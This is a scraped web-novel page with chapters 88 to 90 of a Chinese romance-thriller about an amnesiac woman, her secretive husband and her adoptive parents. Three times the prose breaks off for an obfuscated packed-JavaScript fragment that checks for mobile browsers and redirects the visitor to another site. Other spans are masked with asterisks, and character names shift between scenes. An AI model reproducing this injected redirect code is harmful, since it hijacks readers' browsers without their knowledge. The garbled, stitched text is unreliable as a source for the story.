d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704608|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你们这是要去走亲戚吗?这袋子坏了,提着也不好看。” 林秀兰叹了口气:“是啊,来看女儿的。” “这样吧。”女人眼睛一亮,热情地提议道。 “我家就在楼上,刚好有几个新的礼品袋,要不……委屈你们跟我上去一趟,换一个?” 刘文涛夫妇对视一眼,有些犹豫。但约定的时间快到了。 最后只能点了点头:“那……好吧,麻烦你们了。” …… “我们家月月啊,从小就乖,学习也好,从来不用我们操心。” 年轻夫妇的公寓内,几人也不知怎么聊的,就聊到了孟昭月。 林秀兰回忆起过去,眼角眉梢都带着笑意。 “我们夫妻俩工作忙,她从小就会收拾家里,对弟弟也好,可乖了。” 刘文涛也在一旁补充道:“是啊,前段时间她失踪了,可把我跟她妈急坏了,报了警,到处找,人瘦了十几斤。” “现在好了,人找回来了,我们就想着,赶紧过来看看她。” 他的声音有些哽咽,眼眶也红了。 一个大男人,在提到女儿受的苦时,还是没能忍住情绪。 一旁的年轻女人连忙递上纸巾,声音里带着同情:“哎,真是苦了你们了。” “不过现在好了,孩子平安回来比什么都强。” 她顿了顿,又用一种赞叹的语气说:“说起来,我好像见过你们女儿。” “是不是一个长得特别漂亮,看起来特别乖巧可爱的女孩子?” 林秀兰一听,眼睛都亮了:“对对对!就是她!我们家月月长得是好看。” “那可真是个好姑娘。”女人微笑,语气里有些意味深长,“那你们可得好好珍惜啊,这么好的女儿,可不能再让她受委屈了。” 就在这时,男人拿着换好袋子的水果礼盒从书房走了出来。 “好了。”他将袋子递给刘文涛,脸上是“憨厚”的笑容。 刘文涛夫妇连忙起身道谢,婉拒了他们留下来吃饭的邀请,匆匆告辞。 屋内,年轻的夫妇彼此交换了眼神。 …… 站在女儿公寓的门前,林秀兰又开始紧张起来。 她整理了一下自己的衣服,又理了理丈夫的领子。 “都好几个月没见了,也不知道月月瘦了没有。”她语气里满是担忧。 刘文涛深吸一口气,抬起手,按下了门铃。 “叮咚——” 清脆的门铃声在安静的楼道里响起。 很快,门内传来了脚步声。 刘文涛夫妇的心都提到了嗓子眼。 门“咔哒”一声,开了。 然而,出现在门后的,并不是他们日思夜想的女儿。 那是一个极其英俊的年轻男人。 他身材高大挺拔,穿着一身质感极佳的居家服,黑色的丝质面料衬得他皮肤冷白。 他只是随意地站在那里,身上那股浑然天成的矜贵气息,就与这个空间格格不入,更与门外的刘文涛夫妇形成了鲜明的对比。 刘文涛夫妇彻底愣住了,大脑一片空白。 这……是谁? 他们是不是……找错门了? 刘文涛下意识地就想道歉,可他还没来得及开口,那个男人就先说话了。 他的声音低沉悦耳,带着一种天生的、令人无法抗拒的亲和力。 “叔叔,阿姨,你们好。” 他微笑着,那双桃花眼弯成一个好看的弧度。 目光在他们错愕的脸上扫过,最终落在了林秀兰怀里的小儿子身上。 “一路过来辛苦了,快请进吧。” 刘文涛夫妇的大脑一片空白,完全是出于本能,机械地跟着他走进了玄关。 男人很自然地从鞋柜里拿出了两双新的拖鞋,放在他们脚边。 他直起身,脸上依旧是那副无可挑剔的温和笑容。 然后,投下了一枚重磅**。 “还没来得及正式介绍。” 他微微欠身,姿态优雅而从容。 “我是月月的丈夫,时卿舟。” 丈夫?! 这两个字,如同两道晴天霹雳,狠狠地劈在了刘文涛和林秀兰的头顶。 他们呆立在原地。 乖巧懂事、从来不需要他们操心的女儿……怎么会突然……多了个丈夫?! 第88章 如果她需要家人,那他就为她创造 时卿舟将人带到客厅。 赵文涛和林秀兰局促地坐在沙发上,双手放在膝盖上,身体坐得笔直。 孟昭月端着两杯温水走了出来,小心翼翼地放在茶几上。 当看到孟昭月从厨房走出来时,赵文涛和林秀兰两人几乎是同时站了起来。 “月月!”林秀兰的声音带着压抑不住的颤抖,她快步上前,一把抓住了女儿的手。 她的眼睛一眨不眨地盯着女儿,从头到脚,仔仔细细地打量着,眼眶以肉眼可见的速度迅速泛红。 “瘦了……怎么瘦了这么多。”她喃喃着,伸手抚上孟昭月的脸颊。 “这几个月在外面,是不是吃了很多苦?有没有生病?有没有被人欺负?” 一连串的问题脱口而出,每一个字都是化不开的担忧。 站在一旁的赵文涛没有说话,男人只是红着眼眶,嘴唇哆嗦着,想说什么,却又一个字都说不出来。 他看着女儿那张漂亮得有些陌生的脸。 几个月不见,她好像变了,又好像没变。 那份深埋在心底的愧疚和担忧,此刻翻江倒海。 孟昭月看着眼前这对夫妻情真意切的模样,心里某个柔软的地方被轻轻触动了。 虽然她对过去没有记忆,但此刻他们眼中流露出的真挚情感,让她原本有些疏离的心,多了几分动容。 “我没事,爸爸,妈妈。”她轻声说,声音软软的,“都挺好的。” “耀耀,快,叫姐姐。”林秀兰拉过儿子,催促道。 小男孩小声地喊了一句:“姐姐。” 时卿舟一直安静地站在旁边,脸上带着温和得体的笑容。 他走上前,很自然地从林秀兰手中接过那个水果礼盒。 “叔叔阿姨先坐下喝口水。”他的声音温和悦耳. “我去帮你们把水果切好。” 说完,他便提着礼盒,转身走向了厨房,将客厅的空间留给了这久别重逢的一家人。 时卿舟一离开,客厅里的气氛顿时松快了不少。 林秀兰拉着孟昭月在沙发上坐下,眼睛却还在不停地打量着这个公寓。 “月月啊,”她压低了声音,带着几分小心翼翼地试探,“刚刚那个……是你的朋友?” 孟昭月乖巧地回答:“不是,他是我丈夫。” “真的是丈夫?!”林秀惊呼。 “你们……结婚了?什么时候的事?怎么没听你说过?” “嗯,领证了。”孟昭月点了点头,“就这几天的事。” 得到肯定的答复,林秀兰脸上的表情变得复杂起来。 她又朝着厨房的方向看了一眼,确定时卿舟听不见,才凑到女儿耳边,用更低的声音问道。 “那……他家给了多少彩礼啊?” 孟昭月愣住了。 彩礼? 她还真没想过这个问题。 “没……没有说彩礼的事。”她老实地回答。 “什么?!”林秀兰的声音一下子拔高了,随即又猛地压了下去。 她脸上是恨铁不成钢的表情:“你怎么这么傻啊!” “女孩子结婚、不要彩礼,那不就等于白送吗?” “婆家也不会重视你的!” 婆家…… 孟昭月听到这两个字,脑海里瞬间浮现出时莉莉和时燃。 孟昭月:“……” 这已经不是“婆家”重不重视的问题了。 能不被大姑子和大伯哥**追杀,活着不死,就已经烧高香了。 怎么听起来命好苦的感觉…… 厨房里,时卿舟戴上蓝牙耳机,取出礼盒里的水果,抽出刀,斯条慢理地切着。 耳机里传来姜玦的汇报声: “先生,他们送来的水果已经送检了,没有发现任何特殊物质。” “另外,根据刚刚的套话,他们对孟小姐的感情不像是伪装的。” “目前暂时没有发现他们有可能会加害孟小姐的迹象。” “知道了。”时卿舟的声音很平淡。 他将切好的水果摆盘,端着走出了厨房。 一回到客厅,就正好听到林秀兰提到彩礼的事情。 他脸上挂着温和的笑容,将果盘放到茶几上。 “阿姨说的是。”他很自然地在孟昭月身边坐下,握住她的手。 “这件事是我考虑不周。” 他看向赵文涛夫妇,眼神真诚,语气郑重。 “我和月月领证仓促,很多礼数都没来得及准备。” “不过该有的聘礼,我一定会补上。” “不知道叔叔阿姨这边,有什么要求?” 他用的是“聘礼”,而不是“彩礼”。 赵文涛夫妇对视了一眼。 赵文涛清了清嗓子,摆出一副长辈的姿态:“哎,我们做父母的,也不是说看重钱。” “主要还是希望你们小两口能过得好,男方家里对我们月月能重视。” 林秀兰也连忙附和,再次强调:“对对对,钱不钱的都是次要的。” “虽然月月现在回了孟家,名字也改了,但毕竟是我们养了二十年的女儿,这养育之恩……” 两人说了一堆冠冕堂皇的话,最后才绕回了重点。 “……家里还有个弟弟,你也知道,现在男孩子娶媳妇不容易,我们也是想给他多攒点钱。” 林秀兰搓着手,有些不好意思地说出了最终的数字。 “你看……三十万,行吗?” 时卿舟听完,微微挑了挑眉。 “当然可以。”他脸上依旧是温和的笑容。 “我等下就让助理把钱转到叔叔阿姨的账户上。” 赵文涛夫妇在得到肯定的答复后,都松了口气。 脸上的笑容也变得真切了许多。 林秀兰拿起一块切好的哈密瓜,递给孟昭月:“月月,快尝尝,这都是你爱吃的。” 孟昭月乖巧地坐着,接过水果,什么都没说。 赵文涛也拿起一块,咬了一口,眼睛瞬间就亮了。 “哎?这水果……怎么这么甜?”他有些惊讶。 “比我们之前买的那些好吃多了。” 他下意识地端详了一下盘子里的水果,无论是色泽还是个头,都比他印象中礼盒里的要好上太多。 他以前跟着大老板见过世面,立刻察觉到,这水果,好像被换过了。 他的目光不由自主地投向了对面的时卿舟。 男人依旧是那副温和亲切的样子,正体贴地帮孟昭月擦去嘴角的果汁。 赵文涛压下了心头的疑虑:“那个……小舟啊。” 他斟酌着用词:“还不知道你是做什么工作的?” 孟昭月又乖巧地吃了一口时卿舟递过来的哈密瓜。 甜甜的汁水在口腔里漫开,她舒服地眯起了眼睛。 彩礼的事都谈好了,才想起来问对方做什么的? 倒是有趣。 不过她还真不好说什么,因为她也不知道时卿舟具体做什么的。 孟昭月:“……”悄咪咪地看了一眼时卿舟。 时卿舟注意到她的目光,伸手揉了揉她的脑袋。 然后看向刘文涛:“我在寰宇工业工作,现在是信息现代化部门的负责人。” “寰宇工业?”赵文涛眼睛瞬间就亮了。 “那可是个大企业啊!我有个老同学的儿子就在那儿,听说福利待遇特别好,一般人想进都进不去呢。” 林秀兰也跟着附和,脸上的笑容愈发真切:“是啊是啊,小舟真是有出息。” 夸赞过后,她又敏锐地抓住了话里的另一个重点,有些疑惑地问:“寰宇工业是私企吧?你不在政府部门工作?” 时卿舟:“不在。”。 赵文涛和林秀兰对视了一眼。 那花禾小区的房子…… 孟昭月听着他们的对话,一个问题也冒了出来。 对哦,她自己是做什么工作的? 她转头看向养父母,软软地问道:“爸爸,妈妈,我被**之前,是在哪里工作呀?” 林秀兰正准备开口,话头就被时卿舟抢了过去。 “是在星瀚科技。”时卿舟很自然地回答。 赵文涛和林秀兰都愣住了。 星瀚科技? 他们怎么记得,女儿毕业后去的是一家叫福什么商贸的小公司? 孟昭月则觉得“星瀚科技”这个名字有些耳熟。 总觉得在哪听过,但一时半会儿又想不起来。 赵文涛夫妇虽然心里有疑惑,但看着时卿舟那张温和带笑的脸,和他身上那股无形的压迫感,终究没敢再多问什么。 他们带着儿子又坐了一会儿,只觉得浑身不自在,如坐针毡。 眼看时间不早了,赵文涛便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711078|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动起身告辞。 但是终归是好不容易找回来的女儿。 林秀兰拉着孟昭月的手,嘱咐了一遍又一遍,让她好好照顾自己。 说着说着,她眼眶又红了,最后甚至有些失态地哭了起来,抱着女儿不肯松手。 直到最后才依依不舍地分别。 时卿舟看了一眼孟昭月:“我去送叔叔阿姨下楼。” 然后,他像是突然想起了什么,转头对跟在后面的孟昭月说:“对了,月月。” “我刚刚在厨房切水果,好像忘记关水龙头了。” “乖乖,可以去帮我看看吗?” 孟昭月乖巧地点了点头,折返了回去。 电梯门缓缓合上。 四人站在电梯里,赵文涛和林秀兰下意识拉着儿子远离了时卿舟,站到了角落里。 很快,当电梯门“叮”的一声再次滑开时。 而出现在外面的,却不是地下停车场。 门口站着好几个穿着黑色西装、身形魁梧的男人,面无表情地看着他们。 而在那群黑衣人中间,站着一对年轻的夫妇,正是之前热情地帮他们换礼品袋的那两个人。 林秀兰立刻抱紧了儿子。 赵文涛也脸色发白,警惕地将妻儿护在身后。 他们紧张地看向身旁的时卿舟,却见他脸上依旧挂着那副温和无害的笑容。 “叔叔,阿姨,别紧张。” 他的声音依旧悦耳温和。 “刚刚月月在,不太方便。” “有些事情,我想和你们单独聊聊。” …… 另一边,孟昭月回到厨房,却发现水龙头关得好好的,根本没有滴水。 她正觉得奇怪,口袋里的手机就震动了一下。 一条银行卡收到转账的短信。 紧跟着的是来自养母的微信。 有些出乎意料的是文字消息,而不是老年人惯用的语音消息。 「月月,我们刚刚提聘礼的事,主要是想试探一下小舟对你的态度,看看他是不是真心对你好。」 「现在看来,他是个值得托付的好孩子,我们也就放心了。」 「那三十万聘礼,我们一分都不会要,全部打到你的卡上了,你收着就好。」 「你从小就懂事,什么都自己扛着,是爸爸妈妈没本事,让你受委屈了。」 「以后有了小舟,我们也就放心了。」 「你在我们心里,和弟弟是一样重要的,这里永远是你的家,要是受了委屈,或者想爸爸妈妈了,随时都可以回来,我们永远支持你。」 短信的最后,还附带了一长串对时卿舟的夸赞。 什么一表人才、温柔体贴、年轻有为,简直把他夸上了天。 孟昭月看着这条短信,有些发懵。 养父母的态度怎么突然变得这么……热情了? 不过,这种被家人毫无保留地关心和支持的感觉,真的很好。 她的心里涌上一股暖流,唇角也不自觉地勾起一个弧度。 就在这时,一个陌生号码的电话打了进来。 她犹豫了一下,还是接通了。 “喂?” 电话那头,传来一道甜甜的女声。 “哎呀呀,孟昭月,出息了呢,竟然让我的小狗和你领证了?”是时莉莉。 “既然成了我们时家的新妇,怎么婚后也不知道来家里拜访一下长辈?” 隔着电话,孟昭月都能想象到对方脸上恶劣的笑容。 有些烦。 而且这种明摆着就是鸿门宴的,她为什么要同意去呀? 孟昭月眨了眨眼,脸上露出一个乖巧无害的笑容: “谢谢关心,不过……” “我感觉你像危险分子,还是不去了吧,不好意哦。” 电话那头的时莉莉被她这句话堵得一噎,随即冷笑。 “不去?你以为你说了算?” “孟昭月,我告诉你,你不自己滚过来,我就让人‘请’你过来!” 孟昭月正想说话,手中的手机却突然被一只骨节分明的大手抽走了。 她惊讶地抬起头,正好对上时卿舟那双含笑的桃花眼。 **什么时候回来的,脸上依旧是那副温柔得无可挑剔的笑容。 时卿舟结果电话,语气温和:“时莉莉。” 丝毫不像正在和一个应该已经死去的人对话。 第89章 围剿 时莉莉听到时卿舟的声音,声音愈发甜美了. “咦,是小狗啊~” “上次一别,甚是想念呢。” 她的话里有话。 时卿舟没回应时莉莉的暗示,只是声音平淡地问了一句: “是时费让她打来的?” 听不出任何情绪。 电话那头,是时莉莉懒洋洋声音。 “我的小狗,你猜呢?” 时卿舟没有理会她的挑衅,他放下手机,看了一眼屏幕上显示的那个号码。 然后将目光重新投向身旁的孟昭月。 那双深邃的桃花眼里,所有的阴霾和冷意都被很好地隐藏了起来,只剩下能将人溺毙的温柔。 “月月,”他开口,声音放得很轻,“想不想去拜访一下我的家人?” 孟昭月愣住了。 拜访家人? 按照常理,领了证,确实应该去拜访一下双方的家长。 可是……时卿舟家也太离谱了吧。 一家子的神经病啊。 还是她的阿卿好。 她纠结了半天,决定还是去看看,没准其他人是正常人呢? 她犹豫地咬了咬下唇:“要是……没有危险的话,可以去看看。” 时卿舟看着她那副小心翼翼的可爱模样,眼底的笑意深了些。 “放心,不会有危险的。”时卿舟似乎是想到了什么,微微勾唇:“到时候带你看场好戏。” 他重新拿起手机,语气冷漠地通知。 “过段时间,我会带着月月,去拜访父亲和母亲。” 说完,没有给对方开口的机会,他便直接挂断了电话。 房间里恢复了安静。 时卿舟没有立刻说话,只是垂着眼,看着手机屏幕慢慢暗下去,似乎在沉思着什么。 那张英俊的侧脸似乎透着一股难以言说的冷意。 孟昭月看着他,总觉得有问题。 “阿卿,”她忍不住开口,“发生什么事了?” 时卿舟转过头,看向她。 那双深邃的桃花眼里,所有的冷意都在瞬间消散,重新被温柔的笑意填满。 他伸出手,轻轻地摸了摸她的头发。 “月月,害怕鬼故事吗?” “诶?”孟昭月眨了眨那双干净的杏眼,没想到他会突然这么说。 她想了想还是老实地回答。 “还……还行吧。” 时卿舟温柔地看着孟昭月,不紧不慢地开口。 “前几天,在时家庄园。” “我已经把时莉莉杀了。” 他的语气平淡得就像在说“我今天吃过早饭了”一样。 “已经确认是脑死亡。” 孟昭月感觉自己的大脑,在那一瞬间,停止了运转。 她呆呆地看着眼前的男人,那双漂亮的杏眼因为震惊而睁得圆圆的。 杀……杀了? 脑死亡? 那……那刚刚电话里那个活生生的人是谁? 鬼吗? 难怪时卿舟要问她害怕鬼故事吗。 “啊?”她张了张嘴,好半天才找回自己的声音,干巴巴道:“那……那刚刚那个……” “不是AI合成音。”时卿舟似乎知道她想问什么,“确实是时莉莉。” 时卿舟伸出手,用指腹轻轻摩挲着她的脸颊。 像是在安抚一只受惊的小猫。 “应该是……”他顿了顿,那双漂亮的桃花眼里闪过一抹孟昭月看不懂的暗色。 “有什么力量,让她复活了。” 孟昭月不解地眨了眨眼。 复活? 这……科学吗? “所以,乖宝宝月月,”时卿舟捧起孟昭月的脸,神色难得的认真。 “一定要离时莉莉远远的,知道吗?” “剩下的事情,都交给我。” “我会处理好一切的。” 闻言孟昭月撇了撇嘴:“那你有什么事一定要和我说。” 时卿舟愣住,然后桃花眼里染上暖意:“好。” …… 京江市第一人民医院,重症监护室。 消毒水的味道弥漫在空气里,各种仪器发出规律的、单调的“滴滴”声。 顾清珩面无表情地站在病床前,看着那个躺在病床上、浑身插满管子的男人。 顾衡国,他的父亲。 上次见面宴的路上,顾衡国出了车祸,所以他才没有赶到宴会。 肇事车辆的司机,是中城区民政局的一位主管。 事故原因被判定为雪天路滑,高速行驶导致的。 顾清珩的目光在父亲那张毫无血色的脸上停留了片刻,便移开了,眼底没有半分波澜。 就在这时,他的私人手机震动了一下。 他看了一眼屏幕上那个没有备注的号码,清冷的眉梢挑了挑。 他对林郁说:“你在这里守着。” 说完,他便拿着手机,走到了走廊尽头的窗边。 电话接通。 “时卿舟。”顾清珩冷声说出了对方的名字。 “它在时莉莉那里。”电话那头,时卿舟开门见山。 顾清珩握着手机的手指,在那一瞬间收紧了。 他沉默片刻,压下心头翻涌的情绪:“昭月现在怎么样?” “别让时莉莉靠近她。” “自然。”时卿舟的语气轻快,“我的人,我会自己护好。” “至于月月……”他故意拉长了语调,声音里是毫不掩饰的愉悦。 “告诉你个好消息,我和月月已经……” “你闭嘴。”顾清珩直接打断了他。 他当然收到了消息。 政务信息系统才监测到关键词,他就收到了登记消息。 那两本结婚证照片红得刺眼。 电话那头的时卿舟低笑出声,声音里满是得意的炫耀。 “系统数据我已经让人用加密算法锁**,顾议员就别想着再动什么手脚了。” 顾清珩的脸色沉了下去。 “要不是你设计让我父亲出车祸。”他冷冷地说。 “我那天也不会把所有的人手都调去高速路**息,让你有可趁之机。” “别装了,顾清珩。”时卿舟的语气依旧温和,却直接得很。 “哪家儿子会孝顺对自己二十年不理不问的父亲?” “收到车祸消息的时候,你怕是开心**吧?” “现在顾议员的候选人的资格拿到了?” 顾清珩冷哼了一声,没有否认:“干这些脏活,还得是你们时家人。” 他顿了顿,唇角勾起一个冰冷的弧度:“不过……他们也都是活该的。” 电话那头的时卿舟,手里拿着一本财经杂志。 他的目光落在封面上那个西装革履、神情倨傲的男人照片上。 是时费。 听到顾清珩的话,他唇角的弧度加深了。 “是啊。” 那双漂亮的桃花眼里,是与顾清珩如出一辙的、冰冷的笑意。 “都是活该的。” 时卿舟刚挂断电话,就看到孟昭月从卧室里走了出来。 她身上穿着一件丝质的吊带睡裙,裙摆堪堪遮住大腿根部,两条笔直腿就那么暴露在空气里。 她似乎刚涂了什么,扎着头发,正抬手轻轻拍打着自己的脸颊。 白皙的皮肤水水润润的。 “阿卿,你给我买的水乳是什么牌子的呀?感觉很好用诶。” 时卿舟的目光从她光洁的小腿,缓缓上移,滑过圆润的肩头,最后定格在她那张因为刚做完保养而显得愈发娇嫩的小脸上。 他的喉结滚动了一下,然后对她伸出了手:“LaPrairie的臻爱铂金系列。” 孟昭月没听过这个牌子,不过看到时卿舟伸过来的手,她的眼睛亮了亮。 想也没想就钻进了他怀里。 像只找到了专属抱枕的小猫,心满意足地蹭了蹭。 “对了。” 她窝在他怀里,仰起头问。 “我都翘班这么久了,是不是最好去公司一趟呀?” 时卿舟搂着她纤细的腰,低下头,细细密密地吻着她的肩头。 手也不安分起来。 “随你。”他的声音有些含糊,“公司的人不会说什么的。” “为什么呀……”察觉到时卿舟的动作,孟昭月的脸颊瞬间红透。 她连忙伸出手,按住了他的手,声音又羞又恼:“你……你别闹!” 时卿舟低笑一声,趁机反手扣住了她纤细的手腕。 “因为乖乖月月会遇到好老板。”他哑着声音耐心回答她的问题。 手上却顺势摘下她用来松松挽着头发的软头绳。 然后动作熟练地将她的两只手腕绑在了一起。 孟昭月挣扎不开,只能瞪着时卿舟。 他看着又气又无助的模样,眼底的颜色深了下去。 “别闹?”他重复了一遍她的话,唇角勾起一个危险的弧度。 “时太太,你穿着这样在我面前晃来晃去,不就是在勾引我闹你吗?” 孟昭月气得瞪圆了眼睛,脸颊红得快要滴出血来:“谁在勾引你啊?” …… 京江市的夜晚,灯火璀璨。 “月色”清吧里,舒缓的爵士乐流淌在空气中。 江淮安搂着一个身材火辣的女伴,正坐在吧台边调笑。 女伴名叫许蔓,从法兰西留学回来不久,最近刚当上科技圈的小管理。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715932|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表弟,怎么伤成这样?”江淮安抬起眼,看着眼前鼻青脸肿的江浩宇,挑了挑眉。 江浩宇一屁股坐了下来,拿起桌上的威士忌就灌了一大口,愤愤不平:“别提了,晦气!” “看上一个妞,结果被她身边的两个舔狗给揍了!” “哦?”江淮安来了兴趣,“什么样的女人,能让你江大少爷吃这么大的亏?” 江浩宇拿出手机,点开相册,将一张照片递到江淮安面前。 “那两个孙子让我把照片删了,不过他们没想到,小爷我私人云端里还存着呢!” 江淮安接过手机看了一眼,照片拍得有些模糊,但依然能看出女孩那张漂亮可爱的脸。 “长得不错。”他评价道。 一旁的许蔓也凑过来看了一眼。 “这不就是婉凝家那个刚找回来的便宜妹妹吗?” “安少,要是喜欢,可以尝试接触一下。” 她挽住江淮安的手臂,声音娇媚:“要是安少能拿下她,对您在江家的地位可是大有帮助。” 江淮安看着手机屏幕上那张清纯无害的脸,手指轻轻摩挲着下巴,陷入了沉默。 …… 第二天清晨。 时卿舟已经晨练回来。 他刚洗完澡换好衣服,就听到了床头柜上孟昭月的手机铃声响了起来。 铃声响了没几秒。 床上那个鼓起的小山包里,就迅速伸出一只白嫩的小手,精准地在手机屏幕上划了一下。 世界重归安静。 时卿舟瞧着有趣,干脆就那么靠着门框,欣赏起了自家太太的起床表演。 闹钟不屈不挠地在五分钟后再次响起,又被掐掉。 如此反复了三次,被子里的小山包才终于开始咕蛹起来。 孟昭月闭着眼睛,抱着被子坐了起来,柔软的长发凌乱地披散在肩头。 她迷迷糊糊地晃了晃脑袋,又直挺挺地倒了下去。 嘴里哼哼唧唧地嘟囔着:“最后五分钟……” 怎么能这么可爱。 时卿舟看得心头发痒,没忍住,迈开长腿走了过去。 他俯下身,在她脸颊上用力地亲了几下。 温热的触感让孟昭月瞬间清醒,她猛地睁开眼,像只受惊的小猫一样看着眼前放大的俊脸。 时卿舟看着她那副呆萌的模样,温柔地笑道:“醒了?” 孟昭月脸颊通红,小鸡啄米一样连连点头,然后手忙脚乱地从床上爬了起来。 …… 星瀚科技的大楼下,黑色的法拉利缓缓停稳。 “那我走啦。”孟昭月解开安全带,准备下车。 时卿舟却拉住了她,凑过去,声音里带着几分撒娇的意味:“没有分别吻吗,时太太?” 孟昭月红着脸,在他唇上飞快地亲了一下,然后逃也似的推开车门跑了下去。 坐在驾驶位上的姜玦安静地看着天空。 啧,这云,真的云啊。 孟昭月刚走进公司大楼,一个干练的中年女人就迎了上来。 “孟小姐,您……咳,你好,我是您的部门经理。”女人的态度异常热情。 “你失忆的情况我们都知道了,别担心。” “工作上的事慢慢来,就当是新入职的员工好了。” 经理热情地把孟昭月送回到办公室。 孟昭月刚进门,立刻就感受到了来自四面八方的打量目光。 “看到没,就是她,坐着法拉利来的。” “她身上那套衣服,是香奈儿的最新款吧?得几十万呢。” “没见经理对她态度这么好吗?没准是哪个老总的包养的。” 就在这时,一个穿着时尚、妆容精致的女人走了:“工作时间聊八卦,是想扣奖金了吗?” 那几个同事立刻作鸟兽散。 女人走到孟昭月面前,脸上露出了一个友善的笑容:“你好,我叫许蔓。” 她说着,很自然地挽住了孟昭月的手臂:“以后有什么事都可以找我,从今天起,我们就是好姐妹了。” 孟昭月看了一眼自己被挽住的胳膊。 挽得好紧,抽不回来。 她乖巧地点了点头:“谢谢你。” 刚到自己的工位,孟昭月就看到坐在斜对面的一个青春靓丽的女生。 那个将军小老婆!还有神秘服务员! 对方似乎也察觉到了她的视线,抬起头。 她的目光在许蔓还挽着孟昭月手臂的手上打量了一眼。 不是,哪来的女人?抢她位置? 苏晓想着,对着孟昭月露出了一个友好笑容。 孟昭月:“……” 这人到底是谁啊,怎么哪里都能看到她? 第90章 吃醋的时卿舟 “昭月,你来一下。”许蔓的声音从办公室门口传来,依旧是那副热情友善的语调。 孟昭月应了一声,抱上笔记本拿着笔,跟着她走了出去。 办公室里,只留下几声窃窃私语。 “国商行那边有个信贷系统需要对接,资料我已经发到你邮箱了。”许蔓站在走廊上,将一个平板递给她。 “江淮安行长已经在会客室等你了,这是个很好的学习机会,你去跟进。” 苏晓抱着一叠资料刚好走了出来,听到两人对话凑了过来。 “蔓姐,昭月回来刚接触工作,可能还不熟悉。” “我陪她一起去吧,也好有个照应。” 许蔓脸上的笑容不变:“总要锻炼的,一直有人带着怎么成长?” “苏晓,还有个项目要交给你,你先去把三季度的数据给我。” 苏晓看了眼孟昭月,只得先离开 许蔓看向孟昭月,语气重新变得亲和。 “昭月,别紧张,江先生人很好的,就当是去交个朋友。” 孟昭月乖巧地点了点头,迅速读了一遍平板上的内容,然后拿了项目资料,便走向会客室。 推开磨砂玻璃门,走了进去。 屋内,一个穿着高定西装的男人正坐在沙发上,他听到声音,抬起头。 男人长相英俊,一双微微上挑的狐狸眼带着几分漫不经心的笑意。 孟昭月对他礼貌地点了点头:“江先生,您好,我是星瀚科技的孟昭月。” “孟小姐,你好。”江淮安站起身,主动伸出了手,脸上的笑容温文尔雅。 孟昭月礼节性地伸出手,与他交握。 然而,就在两人手指相触的瞬间,她感觉到对方的食指,若有似无地在她柔软的手心轻轻刮了一下。 那是一种黏腻的、令人极度不适的触感。 孟昭月脸上的表情没有丝毫变化,只是在收回手的瞬间,动作快得有些突兀。 她垂下眼,从随身的兜里里拿出一包湿纸巾,抽出一张,当着江淮安的面,仔仔细细地、一根一根地擦拭着自己的手指。 江淮安脸上的笑容僵了一下,随即眼底的玩味之色更浓。 “孟小姐……似乎很爱干净。”他重新坐回沙发上。 孟昭月将用过的湿巾丢进垃圾桶,脸上重新挂上了那副甜美乖巧的笑容:“看情况。” 江淮安:“……” 这么嫌弃他吗? 他轻咳了一声,又笑道:“女孩子爱干净,挺好的。” 他身体微微前倾,目光毫不掩饰地在她身上打量。 “我对合作伙伴的要求,也很‘干净’。” 孟昭月没有接他的话,只是打开平板,将项目资料调了出来:“江先生,我们还是先谈谈工作吧。” “工作不急。”江淮安摆了摆手,身体靠向沙发背,换了个更放松的姿势。 “我倒是对孟小姐更感兴趣。” “星瀚科技内部竞争可是很激烈的。”他的声音带着一种循循善诱的意味。 “如果孟小姐有什么需要帮忙的地方,随时可以找我。” “毕竟,国商行和星瀚是长期的战略合作伙伴。” 他话里的暗示意味已经很明显了。 孟昭月眨了眨眼。 她这是遇到职场性骚扰了吗? 有些新鲜。 “谢谢江先生的好意,不过不用了。”她的声音依旧软软糯糯,依旧笑得乖巧礼貌。 “我的事情,我先生会处理好的。” “先生?”江淮安愣了一下,随即像是听到了什么有趣的事情,轻笑出声。 “孟小姐已经结婚了?” “是的。”孟昭月点了点头,下意识地抬起手,轻轻摩挲着无名指上的蛇形戒指,唇角勾起一个发自内心的、甜蜜的弧度,“我们刚领证不久。” 江淮安看着她脸上那副沉浸在幸福中的模样,眼底的征服欲不减反增。 “结婚了也可以离婚。”他身体前倾,双手交叠放在膝上,语气笃定。 “孟小姐,恕我直言,像你这样的女孩子,不应该被一段仓促的婚姻束缚住。” “外面的世界很大,你应该有更好的选择。” 他的目光灼灼地看着她:“比如,我。” 孟昭月脸上的笑容更加甜美了:“抱歉哦,我不是垃圾回收站。” 江淮安的闻言一哽:“孟小姐倒是伶牙俐齿。” …… 终于熬到下班,好不容易才把江淮安这尊大佛送走。 谢绝了许蔓的晚饭邀约,孟昭月刚走出公司大楼,一眼就看到了停在路边的那辆熟悉的黑色法拉利。 她的眼睛亮了起来,唇角不受控制地向上扬起。 她加快脚步,几乎是小跑着朝着那辆车的方向奔去。 